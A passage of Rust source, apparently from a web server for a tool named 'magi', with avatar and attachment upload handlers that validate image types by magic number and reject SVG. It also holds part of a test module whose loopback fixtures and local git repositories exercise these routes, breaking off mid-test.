10887    Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)}))
10888}
10889
10890#[derive(Deserialize)]
10891struct MagiIconUpload {
10892    icon: String,
10893}
10894
10895fn save_magi_icon(home: &FsPath, icon: &str) -> Result<()> {
10896    save_icon_file(&magi_icon_path(home), icon)
10897}
10898
10899fn validate_uploaded_icon(icon: &str) -> Result<()> {
10900    if !icon.starts_with("data:") {
10901        anyhow::bail!("upload a raster image");
10902    }
10903    let (mime, bytes) = persona_icon::load(icon)?;
10904    if sniffed_mime(&bytes) != Some(mime) {
10905        anyhow::bail!("image content does not match its type");
10906    }
10907    Ok(())
10908}
10909
10910fn save_icon_file(path: &FsPath, icon: &str) -> Result<()> {
10911    validate_uploaded_icon(icon)?;
10912    atomic_icon_write(path, icon)
10913}
10914
10915fn atomic_icon_write(path: &FsPath, icon: &str) -> Result<()> {
10916    let home = path.parent().expect("icon parent");
10917    std::fs::create_dir_all(home)?;
10918    let token = crate::rng::SplitMix64::new(crate::rng::entropy()).uuid_v4();
10919    let temp = home.join(format!(".magi-icon-{token}.tmp"));
10920    let result = (|| -> Result<()> {
10921        use std::io::Write;
10922        let mut file = std::fs::OpenOptions::new()
10923            .write(true)
10924            .create_new(true)
10925            .open(&temp)?;
10926        file.write_all(icon.as_bytes())?;
10927        file.sync_all()?;
10928        std::fs::rename(&temp, path)?;
10929        Ok(())
10930    })();
10931    let _ = std::fs::remove_file(temp);
10932    result?;
10933    Ok(())
10934}
10935
10936async fn magi_icon_put(
10937    State(ui): State<Arc<Ui>>,
10938    Json(upload): Json<MagiIconUpload>,
10939) -> ApiResult<Json<serde_json::Value>> {
10940    blocking(move || {
10941        if !upload.icon.starts_with("data:") {
10942            return Err(ApiError::bad_request("upload a raster image"));
10943        }
10944        let (mime, bytes) = persona_icon::load(&upload.icon).map_err(ApiError::bad_request_from)?;
10945        if sniffed_mime(&bytes) != Some(mime) {
10946            return Err(ApiError::bad_request(
10947                "image content does not match its type",
10948            ));
10949        }
10950        save_magi_icon(&ui.home, &upload.icon)?;
10951        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10952    })
10953    .await
10954}
10955
10956async fn magi_icon_delete(State(ui): State<Arc<Ui>>) -> ApiResult<Json<serde_json::Value>> {
10957    blocking(move || {
10958        match std::fs::remove_file(magi_icon_path(&ui.home)) {
10959            Ok(()) => (),
10960            Err(e) if e.kind() == std::io::ErrorKind::NotFound => (),
10961            Err(e) => return Err(anyhow::Error::from(e).into()),
10962        }
10963        Ok(Json(serde_json::json!({"avatar": magi_icon_url(&ui.home)})))
10964    })
10965    .await
10966}
10967
10968async fn magi_avatar(State(ui): State<Arc<Ui>>, Query(q): Query<AvatarQuery>) -> Response {
10969    let icon = (q.builtin.is_none())
10970        .then(|| read_magi_icon(&ui.home))
10971        .flatten();
10972    let mut response = match icon
10973        .as_deref()
10974        .and_then(|icon| persona_icon::load(icon).ok())
10975    {
10976        Some((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
10977            attachment_response(mime, bytes)
10978        }
10979        _ => svg_avatar(persona_icon::magi_svg()),
10980    };
10981    response
10982        .headers_mut()
10983        .insert(header::CACHE_CONTROL, HeaderValue::from_static("no-cache"));
10984    response
10985}
10986
10987/// `GET /api/talks/{id}/avatar?persona=<id>` - a persona's avatar: the
10988/// operator's raster `icon` when it resolves and its bytes agree with its
10989/// type, the built-in SVG otherwise. Display only; every failure is a warning
10990/// and the built-in avatar, never an error response.
10991async fn talk_avatar(
10992    State(ui): State<Arc<Ui>>,
10993    Path(id): Path<String>,
10994    Query(q): Query<AvatarQuery>,
10995) -> ApiResult<Response> {
10996    blocking(move || {
10997        let id = resolve_talk(&ui.talks, &id)?;
10998        let talk = ui.talks.get(&id)?;
10999        let wanted = q
11000            .persona
11001            .as_deref()
11002            .map(str::trim)
11003            .filter(|p| !p.is_empty())
11004            .unwrap_or(&talk.persona)
11005            .to_owned();
11006        let specs = match Config::discover(&talk.repo, None) {
11007            Ok((cfg, _)) => cfg.talk.personas,
11008            Err(e) => {
11009                tracing::warn!("avatar: cannot read the config for talk {id}: {e:#}");
11010                Vec::new()
11011            }
11012        };
11013        let found = persona::find(&specs, &wanted);
11014        // Stored blank IDs are the plain voice, whose canonical ID is `default`.
11015        let wanted = found.as_ref().map_or(wanted, |p| p.id.clone());
11016        let icon = effective_persona_icon(
11017            &ui.home,
11018            &wanted,
11019            found.as_ref().and_then(|p| p.icon.as_deref()),
11020        );
11021        if found.is_none() && icon.is_none() {
11022            return Ok(builtin_avatar(persona::DEFAULT_ID));
11023        }
11024        let Some(icon) = icon
11025            .as_deref()
11026            .filter(|icon| !icon.is_empty() && q.builtin.is_none())
11027        else {
11028            return Ok(builtin_avatar(&wanted));
11029        };
11030        let Some(found) = found else {
11031            return Ok(raster_or_builtin(
11032                Some(icon),
11033                persona_icon::builtin_svg(&wanted),
11034            ));
11035        };
11036        match persona_icon::load(icon) {
11037            Ok((mime, bytes)) if sniffed_mime(&bytes) == Some(mime) => {
11038                let mut res = attachment_response(mime, bytes);
11039                res.headers_mut().insert(
11040                    header::CACHE_CONTROL,
11041                    header::HeaderValue::from_static("no-cache"),
11042                );
11043                Ok(res)
11044            }
11045            Ok((mime, _)) => {
11046                tracing::warn!(
11047                    "avatar: icon of persona `{}` is not really {mime}; using the built-in",
11048                    found.id
11049                );
11050                Ok(builtin_avatar(&found.id))
11051            }
11052            Err(e) => {
11053                tracing::warn!(
11054                    "avatar: icon of persona `{}` unusable ({e:#}); using the built-in",
11055                    found.id
11056                );
11057                Ok(builtin_avatar(&found.id))
11058            }
11059        }
11060    })
11061    .await
11062}
11063
11064/// Validate an attachment upload's declared `Content-Type` and the bytes
11065/// themselves, returning the canonical mime on success.
11066///
11067/// Two checks, both required: the header has to name one of
11068/// [`ATTACHMENT_MIME_WHITELIST`] (which is what keeps SVG out - it is
11069/// simply never in the list, active content rather than a picture, the same
11070/// exclusion [`asset_content_type`]'s doc explains), and the file's own
11071/// magic number has to agree. The second is what stops a mislabeled upload -
11072/// an HTML file sent as `Content-Type: image/png` - from ever reaching disk;
11073/// a declared type is a claim, not a fact, so it is never trusted alone.
11074fn validate_attachment(headers: &HeaderMap, data: &[u8]) -> ApiResult<&'static str> {
11075    if data.len() > ATTACHMENT_MAX_BYTES {
11076        return Err(ApiError::bad_request(format!(
11077            "attachment is {} bytes, over the {} MiB limit",
11078            data.len(),
11079            ATTACHMENT_MAX_BYTES / (1024 * 1024)
11080        ))
11081        .with_status(StatusCode::PAYLOAD_TOO_LARGE));
11082    }
11083    if data.is_empty() {
11084        return Err(ApiError::bad_request("attachment is empty"));
11085    }
11086    let declared = declared_mime(headers)?;
11087    match sniffed_mime(data) {
11088        Some(sniffed) if sniffed == declared => Ok(declared),
11089        Some(sniffed) => Err(ApiError::bad_request(format!(
11090            "Content-Type said `{declared}` but the file's own bytes look like `{sniffed}`"
11091        ))),
11092        None => Err(ApiError::bad_request(
11093            "the file's bytes do not match any accepted image format",
11094        )),
11095    }
11096}
11097
11098/// The declared `Content-Type`, checked against [`ATTACHMENT_MIME_WHITELIST`]
11099/// and nothing else - parameters like `; charset=` are stripped, but the
11100/// value itself is not otherwise interpreted.
11101fn declared_mime(headers: &HeaderMap) -> ApiResult<&'static str> {
11102    let raw = headers
11103        .get(header::CONTENT_TYPE)
11104        .and_then(|v| v.to_str().ok())
11105        .unwrap_or("")
11106        .split(';')
11107        .next()
11108        .unwrap_or("")
11109        .trim()
11110        .to_ascii_lowercase();
11111    ATTACHMENT_MIME_WHITELIST
11112        .iter()
11113        .find(|&&m| m == raw)
11114        .copied()
11115        .ok_or_else(|| {
11116            if raw == "image/svg+xml" {
11117                ApiError::bad_request(
11118                    "SVG is not accepted: it can carry active content (e.g. a <script>), \
11119                     not just a picture",
11120                )
11121            } else if raw.is_empty() {
11122                ApiError::bad_request("Content-Type is required for an attachment upload")
11123            } else {
11124                ApiError::bad_request(format!(
11125                    "`{raw}` is not an accepted attachment type; use image/png, image/jpeg, \
11126                     image/gif or image/webp"
11127                ))
11128            }
11129        })
11130}
11131
11132/// Identify an image by its magic number, independent of whatever
11133/// `Content-Type` claimed.
11134fn sniffed_mime(data: &[u8]) -> Option<&'static str> {
11135    if data.starts_with(b"\x89PNG\r\n\x1a\n") {
11136        Some("image/png")
11137    } else if data.starts_with(b"\xff\xd8\xff") {
11138        Some("image/jpeg")
11139    } else if data.starts_with(b"GIF87a") || data.starts_with(b"GIF89a") {
11140        Some("image/gif")
11141    } else if data.len() >= 12 && &data[0..4] == b"RIFF" && &data[8..12] == b"WEBP" {
11142        Some("image/webp")
11143    } else {
11144        None
11145    }
11146}
11147
11148/// The operator's own filename, from [`FILENAME_HEADER`], kept only for
11149/// display - see [`talk::Attachment::name`]'s doc on why it never
11150/// contributes to a path. A missing or blank header (curl without it, an
11151/// older front end) falls back to a generic name rather than refusing the
11152/// upload over a field that is cosmetic.
11153fn filename_header(headers: &HeaderMap) -> String {
11154    headers
11155        .get(FILENAME_HEADER)
11156        .and_then(|v| v.to_str().ok())
11157        .map(str::trim)
11158        .filter(|s| !s.is_empty())
11159        .unwrap_or("attachment")
11160        .to_owned()
11161}
11162
11163/// Every attachment `GET` response: the mime re-validated against the same
11164/// closed whitelist the upload route enforces - never the string trusted
11165/// verbatim off disk - plus `X-Content-Type-Options: nosniff`, so a browser
11166/// cannot decide it knows better than the type we send. Unlike a panel asset
11167/// there is no [`PANEL_CSP`] here: this is a plain image the phone's own
11168/// document renders inline, not agent-authored HTML in a sandboxed frame.
11169fn attachment_response(mime: &str, body: Vec<u8>) -> Response {
11170    let content_type = ATTACHMENT_MIME_WHITELIST
11171        .iter()
11172        .find(|&&m| m == mime)
11173        .copied()
11174        .unwrap_or("application/octet-stream");
11175    (
11176        [
11177            (header::CONTENT_TYPE, content_type),
11178            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
11179        ],
11180        body,
11181    )
11182        .into_response()
11183}
11184
11185/// The configuration for a repository, read off the disk for this request.
11186///
11187/// Through [`blocking`] because discovery reads and merges several TOML files,
11188/// and because the alternative - caching it in [`Ui`] at startup - would mean
11189/// the operator's phone kept interviewing with a roster they had already
11190/// changed, with no way to reload it but restarting the server they are not
11191/// sitting in front of.
11192async fn config_for(repo: &FsPath) -> ApiResult<Config> {
11193    let repo = repo.to_path_buf();
11194    blocking(move || {
11195        let (cfg, _) = Config::discover(&repo, None)?;
11196        Ok(cfg)
11197    })
11198    .await
11199}
11200
11201/// The one prefix rule, used for both runs and tasks: a leading match for a
11202/// full id, a trailing match for the short form an operator reads off a
11203/// report. Written here rather than borrowed from `queue::resolve_id` because
11204/// the UI needs the two failures as different status codes, and telling them
11205/// apart from an error message is not something to build a route on.
11206fn pick(ids: Vec<String>, prefix: &str, what: &str) -> ApiResult<String> {
11207    let mut hits = ids
11208        .into_iter()
11209        .filter(|id| id.starts_with(prefix) || id.ends_with(prefix));
11210    match (hits.next(), hits.next()) {
11211        (Some(one), None) => Ok(one),
11212        (None, _) => Err(ApiError::not_found(format!("no {what} matches `{prefix}`"))),
11213        (Some(a), Some(b)) => Err(ApiError::bad_request(format!(
11214            "`{prefix}` matches more than one {what}, including {a} and {b}"
11215        ))),
11216    }
11217}
11218
11219#[cfg(test)]
11220mod tests {
11221
11222    #[test]
11223    fn deputy_exhausted_requires_an_open_question_without_a_live_holder() {
11224        let dir = tempfile::tempdir().unwrap();
11225        let store = ask::Questions::at(dir.path().join("questions"));
11226        let mut q = Question::new(
11227            "task".to_owned(),
11228            "conduct".to_owned(),
11229            "conduct".to_owned(),
11230            "choose".to_owned(),
11231            String::new(),
11232            vec!["keep".to_owned()],
11233        );
11234        q.deputy = Some(ask::Deputy::new("brief".to_owned()));
11235        q.say("why?").unwrap();
11236        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS - 1;
11237        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11238        q.deputy.as_mut().unwrap().starts = crate::deputy::MAX_STARTS;
11239        store.put(&mut q).unwrap();
11240        assert!(QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11241        assert_eq!(store.count_needs_owner(), 1);
11242        store.beat(&q.id, ask::WaiterKind::Deputy);
11243        assert!(!QuestionView::of(q.clone(), &store, Some(&Config::default())).deputy_exhausted);
11244        assert_eq!(store.count_needs_owner(), 0);
11245        let mut stale = store.read_lease(&q.id).unwrap();
11246        stale.beat_at = jiff::Timestamp::now() - std::time::Duration::from_secs(3600);
11247        std::fs::write(store.lease_path(&q.id), serde_json::to_vec(&stale).unwrap()).unwrap();
11248        let view = QuestionView::of(q.clone(), &store, Some(&Config::default()));
11249        assert!(view.deputy_exhausted);
11250        assert!(view.waiting_on_agent);
11251        assert_eq!(view.question.choices, ["keep"]);
11252        store.drop_lease(&q.id);
11253        q.answer(ask::Answer::Choice("keep".to_owned())).unwrap();
11254        assert!(!QuestionView::of(q, &store, Some(&Config::default())).deputy_exhausted);
11255    }
11256
11257    #[test]
11258    fn holder_reads_the_lease_not_the_record() {
11259        let mut q = Question::new(
11260            "run".to_owned(),
11261            "implement".to_owned(),
11262            "impl-A".to_owned(),
11263            "which?".to_owned(),
11264            String::new(),
11265            Vec::new(),
11266        );
11267        assert_eq!(holder_of(&q, None), None, "no `magi ask` filed it");
11268        q.cwd = Some("/tmp".to_owned());
11269        assert_eq!(holder_of(&q, None), Some("nobody"));
11270        let beat = |kind, ago: i64| ask::Lease {
11271            kind,
11272            pid: 1,
11273            beat_at: jiff::Timestamp::from_second(jiff::Timestamp::now().as_second() - ago)
11274                .unwrap(),
11275        };
11276        let fresh = beat(ask::WaiterKind::Asker, 1);
11277        assert_eq!(holder_of(&q, Some(&fresh)), Some("asker"));
11278        let daemon = beat(ask::WaiterKind::Daemon, 1);
11279        assert_eq!(holder_of(&q, Some(&daemon)), Some("daemon"));
11280        let stale = beat(ask::WaiterKind::Asker, 3600);
11281        assert_eq!(holder_of(&q, Some(&stale)), Some("nobody"));
11282
11283        // A conductor question says "deputy" only while one is attached and
11284        // alive, and "nobody" - never silence - when nothing ever listened.
11285        let mut c = Question::new(
11286            "task".to_owned(),
11287            crate::conduct::NODE.to_owned(),
11288            "conduct".to_owned(),
11289            "which?".to_owned(),
11290            String::new(),
11291            Vec::new(),
11292        );
11293        assert_eq!(holder_of(&c, None), Some("nobody"));
11294        c.cwd = Some("/tmp".to_owned());
11295        c.deputy = Some(ask::Deputy::new("brief".to_owned()));
11296        assert_eq!(holder_of(&c, Some(&fresh)), Some("deputy"));
11297        let deputy = beat(ask::WaiterKind::Deputy, 1);
11298        assert_eq!(holder_of(&c, Some(&deputy)), Some("deputy"));
11299        assert_eq!(holder_of(&c, Some(&stale)), Some("nobody"));
11300
11301        // A release-watch question: nobody until a deputy is attached.
11302        let mut r = Question::new(
11303            String::new(),
11304            crate::bump::NOTICE_NODE.to_owned(),
11305            "release-watch".to_owned(),
11306            "stuck?".to_owned(),
11307            String::new(),
11308            vec!["hold".to_owned()],
11309        );
11310        assert_eq!(holder_of(&r, None), Some("nobody"));
11311        r.deputy = Some(ask::Deputy::new("brief".to_owned()));
11312        assert_eq!(holder_of(&r, Some(&fresh)), Some("deputy"));
11313        // A choice-less bump notice is nobody's question at all.
11314        r.deputy = None;
11315        r.seat = "bump".to_owned();
11316        assert_eq!(holder_of(&r, None), None);
11317
11318        // A merge approval is the same: nobody until a deputy is attached
11319        // and alive, never a silent "no holder".
11320        let mut m = Question::new(
11321            "run".to_owned(),
11322            crate::land::APPROVAL_NODE.to_owned(),
11323            "land".to_owned(),
11324            "merge?".to_owned(),
11325            String::new(),
11326            Vec::new(),
11327        );
11328        assert_eq!(holder_of(&m, None), Some("nobody"));
11329        assert_eq!(
11330            holder_of(&m, Some(&fresh)),
11331            Some("asker"),
11332            "a live explicit wait is a listener even before a deputy is attached"
11333        );
11334        m.deputy = Some(ask::Deputy::new("brief".to_owned()));
11335        assert_eq!(holder_of(&m, Some(&deputy)), Some("deputy"));
11336        assert_eq!(holder_of(&m, Some(&stale)), Some("nobody"));
11337        assert_eq!(holder_of(&m, None), Some("nobody"));
11338    }
11339
11340    fn stub_config() -> Config {
11341        // An explicit roster, so the result never depends on which agent CLIs
11342        // this machine has installed.
11343        Config {
11344            agents: vec![crate::config::AgentSpec {
11345                id: "stub".to_owned(),
11346                kind: AgentKind::Command,
11347                model: None,
11348                command: vec!["true".to_owned()],
11349                extra_args: Vec::new(),
11350                env: Default::default(),
11351                prompt_delivery: None,
11352                max_turn_secs: None,
11353            }],
11354            ..Config::default()
11355        }
11356    }
11357
11358    fn plain_question(seat: &str) -> Question {
11359        Question::new(
11360            String::new(),
11361            "n".to_owned(),
11362            seat.to_owned(),
11363            "s".to_owned(),
11364            String::new(),
11365            Vec::new(),
11366        )
11367    }
11368
11369    #[test]
11370    fn deputies_enabled_follows_the_config() {
11371        let on = stub_config();
11372        assert!(crate::deputy::can_start(Some(&on), ""));
11373        assert!(crate::deputy::can_start(Some(&on), "stub"));
11374        let mut off = on.clone();
11375        off.daemon.max_deputies = 0;
11376        assert!(!crate::deputy::can_start(Some(&off), ""));
11377        let mut empty = on;
11378        empty.agents.clear();
11379        assert!(!crate::deputy::can_start(Some(&empty), ""));
11380        assert!(!crate::deputy::can_start(None, ""));
11381    }
11382
11383    #[test]
11384    fn question_views_load_the_config_once() {
11385        let dir = TempDir::new().unwrap();
11386        let store = ask::Questions::at(dir.path().to_path_buf());
11387        let mut with_deputy = plain_question("b");
11388        with_deputy.deputy = Some(ask::Deputy::new("brief".to_owned()));
11389        let qs = vec![plain_question("a"), with_deputy, plain_question("c")];
11390
11391        let calls = std::cell::Cell::new(0usize);
11392        let views = question_views(qs.clone(), &store, || {
11393            calls.set(calls.get() + 1);
11394            Some(stub_config())
11395        });
11396        assert_eq!(calls.get(), 1);
11397        assert_eq!(views.len(), 3);
11398        for (v, q) in views.iter().zip(&qs) {
11399            assert_eq!(
11400                v.deputies_enabled,
11401                crate::deputy::can_start(Some(&stub_config()), crate::deputy::agent_of(q))
11402            );
11403        }
11404
11405        let views = question_views(qs, &store, || None);
11406        assert!(views.iter().all(|v| !v.deputies_enabled));
11407
11408        let calls = std::cell::Cell::new(0usize);
11409        let views = question_views(Vec::new(), &store, || {
11410            calls.set(calls.get() + 1);
11411            None
11412        });
11413        assert!(views.is_empty());
11414        assert_eq!(calls.get(), 0);
11415    }
11416
11417    use pretty_assertions::assert_eq;
11418    use serde_json::Value;
11419    use tempfile::TempDir;
11420    use tokio::io::{AsyncReadExt as _, AsyncWriteExt as _};
11421
11422    use super::*;
11423    use crate::config::Config;
11424    use crate::queue::Source;
11425
11426    /// How many 10ms steps a settle loop takes before it calls a stall a
11427    /// stall - thirty seconds.
11428    ///
11429    /// These loops wait on real `sh` subprocesses, and the machine that runs
11430    /// the gate runs several suites at once, so a two-second budget was not
11431    /// waiting for the reply, it was racing the scheduler: two of these
11432    /// tests failed under that load with the turn simply not landed yet.
11433    /// This is a hang guard, not a latency assertion - every loop breaks the
11434    /// moment its condition holds, so a generous cap costs an idle machine
11435    /// nothing and still fails a genuine hang instead of hanging the suite.
11436    const SETTLE_STEPS: usize = 3_000;
11437
11438    /// A home with a queue and a runs directory, and a router serving it on
11439    /// loopback. `tower`'s `oneshot` is not reachable - `tower` is axum's
11440    /// dependency, not ours - so the tests drive a real socket, which has the
11441    /// side benefit of asserting the status line and content types the phone
11442    /// actually receives.
11443    struct Fixture {
11444        home: TempDir,
11445        addr: SocketAddr,
11446    }
11447
11448    impl Fixture {
11449        async fn start() -> Self {
11450            Self::with_loop(launch_idle).await
11451        }
11452
11453        /// A fixture whose loop is `launch`.
11454        async fn with_loop(launch: Launch) -> Self {
11455            let home = TempDir::new().expect("temp home");
11456            let addr = Self::serve(home.path(), PathBuf::from("/repo/magi"), launch, None).await;
11457            Self { home, addr }
11458        }
11459
11460        /// A fixture whose `ui.repo` is a real directory rather than the
11461        /// usual placeholder - for the routes that read config off it
11462        /// (`GET /api/repos`) and would otherwise have nothing to discover.
11463        async fn with_repo(repo: PathBuf) -> Self {
11464            let home = TempDir::new().expect("temp home");
11465            let addr = Self::serve(home.path(), repo, launch_idle, None).await;
11466            Self { home, addr }
11467        }
11468
11469        /// As [`Fixture::with_repo`], with the machine-config file the
11470        /// settings screen reads and writes.
11471        async fn with_repo_and_machine(repo: PathBuf, machine: PathBuf) -> Self {
11472            let home = TempDir::new().expect("temp home");
11473            let addr = Self::serve(home.path(), repo, launch_idle, Some(machine)).await;
11474            Self { home, addr }
11475        }
11476
11477        async fn serve(
11478            home: &FsPath,
11479            repo: PathBuf,
11480            launch: Launch,
11481            machine: Option<PathBuf>,
11482        ) -> SocketAddr {
11483            let queue = Queue::at(home.join("queue"));
11484            let runs = home.join("runs");
11485            std::fs::create_dir_all(&runs).expect("runs dir");
11486            let worktrees = home.join("wt").join("magi");
11487            std::fs::create_dir_all(&worktrees).expect("worktrees dir");
11488            let ui = Ui::new(
11489                queue,
11490                Questions::at(home.join("questions")),
11491                Talks::at(home.join("talks")),
11492                runs,
11493                home.to_path_buf(),
11494                repo,
11495            )
11496            .with_worktrees_root(worktrees)
11497            .with_machine_config(machine)
11498            .with_launch(launch);
11499            let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
11500                .await
11501                .expect("bind loopback");
11502            let addr = listener.local_addr().expect("local addr");
11503            tokio::spawn(async move {
11504                let router = ui
11505                    .router()
11506                    .layer(axum::middleware::from_fn(request_cost::observe));
11507                let _ = axum::serve(listener, router).await;
11508            });
11509            addr
11510        }
11511
11512        fn queue(&self) -> Queue {
11513            Queue::at(self.home.path().join("queue"))
11514        }
11515
11516        fn questions(&self) -> Questions {
11517            Questions::at(self.home.path().join("questions"))
11518        }
11519
11520        fn talks(&self) -> Talks {
11521            Talks::at(self.home.path().join("talks"))
11522        }
11523
11524        fn runs(&self) -> PathBuf {
11525            self.home.path().join("runs")
11526        }
11527
11528        async fn get(&self, path: &str) -> Res {
11529            request(self.addr, "GET", path, None).await
11530        }
11531
11532        /// The status and headers without the body, which is how the front end
11533        /// preflights a panel: a sandboxed frame is opaque to the parent
11534        /// document, so the only way to tell "no panel" from "a panel that
11535        /// rendered blank" is to ask before mounting.
11536        async fn head(&self, path: &str) -> Res {
11537            request(self.addr, "HEAD", path, None).await
11538        }
11539
11540        async fn post(&self, path: &str, body: Option<&str>) -> Res {
11541            request(self.addr, "POST", path, body).await
11542        }
11543
11544        async fn get_with(&self, path: &str, extra: &[(&str, &str)]) -> Res {
11545            request_with(self.addr, "GET", path, None, extra).await
11546        }
11547
11548        async fn delete(&self, path: &str) -> Res {
11549            request(self.addr, "DELETE", path, None).await
11550        }
11551
11552        async fn put(&self, path: &str, body: &str) -> Res {
11553            request(self.addr, "PUT", path, Some(body)).await
11554        }
11555
11556        /// `POST` a raw body with its own headers - see [`request_bytes`].
11557        async fn post_bytes(&self, path: &str, headers: &[(&str, &str)], body: &[u8]) -> Res {
11558            request_bytes(self.addr, path, headers, body).await
11559        }
11560    }
11561
11562    /// Real tracking refs exercise the successful discovery path (including
11563    /// extraction), rather than counting cheap failures on a placeholder repo.
11564    async fn performance_repositories() -> (TempDir, [PathBuf; 2]) {
11565        let tmp = TempDir::new().unwrap();
11566        let mut repos = Vec::new();
11567        for name in ["one", "two"] {
11568            let repo = tmp.path().join(name);
11569            let origin = tmp.path().join(format!("{name}.git"));
11570            std::fs::create_dir_all(&repo).unwrap();
11571            crate::git::git(&repo, &["init", "-b", "main"])
11572                .await
11573                .unwrap();
11574            std::fs::write(
11575                repo.join("magi.toml"),
11576                format!("{MOCK_AGENT_TOML}\n[repos]\nroots = []\n[update]\nmode = \"off\"\n[verify]\ne2e = []\ngate = []\n"),
11577            )
11578            .unwrap();
11579            crate::git::git(&repo, &["add", "magi.toml"]).await.unwrap();
11580            crate::git::git(
11581                &repo,
11582                &[
11583                    "-c",
11584                    "user.name=fixture",
11585                    "-c",
11586                    "user.email=fixture@example.invalid",
11587                    "commit",
11588                    "-m",
11589                    "fixture",
11590                ],
11591            )
11592            .await
11593            .unwrap();
11594            crate::git::git(tmp.path(), &["init", "--bare", origin.to_str().unwrap()])
11595                .await
11596                .unwrap();
11597            crate::git::git(
11598                &repo,
11599                &["remote", "add", "origin", origin.to_str().unwrap()],
11600            )
11601            .await
11602            .unwrap();
11603            crate::git::git(&repo, &["push", "origin", "main"])
11604                .await
11605                .unwrap();
11606            crate::git::git(
11607                &repo,
11608                &[
11609                    "symbolic-ref",
11610                    "refs/remotes/origin/HEAD",
11611                    "refs/remotes/origin/main",
11612                ],
11613            )
11614            .await
11615            .unwrap();
11616            let (cfg, _) = Config::discover(&repo, None).unwrap();
11617            assert!(cfg.agents.iter().any(|a| a.id == "mock"));
11618            repos.push(repo);
11619        }
11620        let repos: [PathBuf; 2] = repos.try_into().unwrap();
11621        (tmp, repos)
11622    }
11623
11624    async fn performance_fixture() -> (TempDir, [PathBuf; 2], Fixture) {
11625        let (tmp, repos) = performance_repositories().await;
11626        let machine = tmp.path().join("machine.toml");
11627        std::fs::write(&machine, "").unwrap();
11628        let fx = Fixture::with_repo_and_machine(repos[0].clone(), machine).await;
11629        (tmp, repos, fx)
11630    }
11631
11632    fn seed_performance(
11633        fx: &Fixture,
11634        repos: &[PathBuf; 2],
11635        questions: usize,
11636        runs: usize,
11637        items: usize,
11638    ) {
11639        // Saving states directly never starts a run or changes MAGI_HOME.
11640        for i in fx.questions().list().len()..questions {
11641            let mut question = Question::new(
11642                "20261001-000000-0000".into(),
11643                "implement".into(),
11644                "impl-A".into(),
11645                format!("question {i}"),
11646                "context".into(),
11647                vec!["yes".into(), "no".into()],
11648            );
11649            question.id = format!("20261003-000000-{i:04x}");
11650            fx.questions().put(&mut question).unwrap();
11651        }
11652        for i in run_ids(&fx.runs()).len()..runs {
11653            write_run_repo(
11654                &fx.runs(),
11655                &format!("20261001-000000-{i:04x}"),
11656                RunStatus::Ready,
11657                repos[i % 2].to_str().unwrap(),
11658            );
11659        }
11660        for i in fx.talks().list().len()..items {
11661            let id = seed_talk(fx, &format!("20261002-000000-{i:04x}"), "open");
11662            let mut talk = fx.talks().get(&id).unwrap();
11663            talk.repo = repos[i % 2].clone();
11664            fx.talks().put(&mut talk).unwrap();
11665            let mut task = crate::queue::Task::new(
11666                format!("task {i}"),
11667                "instruction".into(),
11668                repos[i % 2].clone(),
11669                crate::queue::Source::Agent {
11670                    run: id,
11671                    node: crate::queue::CHAT_NODE.into(),
11672                },
11673            );
11674            task.id = format!("20261004-000000-{i:04x}");
11675            fx.queue().put(&mut task).unwrap();
11676            // Notices has a production retention cap; seed up to that cap.
11677            if i < crate::notices::CAP {
11678                Notices::at(fx.home.path().join("notifications"))
11679                    .raise(Notice::info(&format!("notice-{i}"), "notification"))
11680                    .unwrap();
11681            }
11682        }
11683        assert_eq!(fx.questions().list().len(), questions);
11684        assert_eq!(run_ids(&fx.runs()).len(), runs);
11685        assert_eq!(fx.talks().list().len(), items);
11686        assert_eq!(fx.queue().list().len(), items);
11687        assert_eq!(
11688            Notices::at(fx.home.path().join("notifications"))
11689                .list()
11690                .len(),
11691            items.min(crate::notices::CAP)
11692        );
11693    }
11694
11695    #[tokio::test]
11696    async fn source_eviction_web_diffs_survive_repository_removal_and_reject_corruption() {
11697        let home = TempDir::new().unwrap();
11698        let root = home.path().canonicalize().unwrap();
11699        let addr = Fixture::serve(&root, root.join("repo"), launch_idle, None).await;
11700        let fx = Fixture { home, addr };
11701        let repo = root.as_path().join("archive-repo");
11702        std::fs::create_dir(&repo).unwrap();
11703        crate::git::git(&repo, &["init", "-b", "main"])
11704            .await
11705            .unwrap();
11706        crate::git::git(&repo, &["config", "user.name", "Fixture"])
11707            .await
11708            .unwrap();
11709        crate::git::git(&repo, &["config", "user.email", "fixture@example.invalid"])
11710            .await
11711            .unwrap();
11712        crate::git::git(&repo, &["config", "commit.gpgsign", "false"])
11713            .await
11714            .unwrap();
11715        std::fs::write(repo.join("source"), "base").unwrap();
11716        crate::git::git(&repo, &["add", "."]).await.unwrap();
11717        crate::git::git(&repo, &["commit", "-m", "base"])
11718            .await
11719            .unwrap();
11720        let base = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11721        std::fs::write(repo.join("source"), "archived review").unwrap();
11722        crate::git::git(&repo, &["commit", "-am", "review"])
11723            .await
11724            .unwrap();
11725        let head = crate::git::rev_parse(&repo, "HEAD").await.unwrap();
11726        let mut config = Config::default();
11727        config.graph.worktree_root = Some(root.as_path().join("copies"));
11728        let mut state = RunState::new(
11729            repo.clone(),
11730            "main".into(),
11731            base.clone(),
11732            "archive".into(),
11733            config,
11734        );
11735        state.id = "20260101-000000-ef05".into();
11736        state.status = RunStatus::Ready;
11737        state.save_under(root.as_path()).unwrap();
11738        let evidence =
11739            crate::fold_evidence::snapshot(&state, root.as_path(), &head, 64 * 1024 * 1024)
11740                .await
11741                .unwrap();
11742        let base_evidence =
11743            crate::fold_evidence::snapshot(&state, root.as_path(), &base, 64 * 1024 * 1024)
11744                .await
11745                .unwrap();
11746        let source = state.worktree_root().join("review-1");
11747        let mut contents = std::collections::BTreeMap::new();
11748        contents.insert(
11749            repo.join("logs/HEAD"),
11750            format!("{base} {head} fixture\n").into_bytes(),
11751        );
11752        let record = serde_json::json!({
11753            "version":1, "run":state.id, "source":source, "head":head,
11754            "evidence":evidence, "admin":{}, "admin_contents":contents,
11755            "history":{base:base_evidence, head.clone():evidence}, "phase":"evicted"
11756        });
11757        std::fs::write(
11758            fx.runs()
11759                .join(&state.id)
11760                .join("artifacts/eviction-review-1.json"),
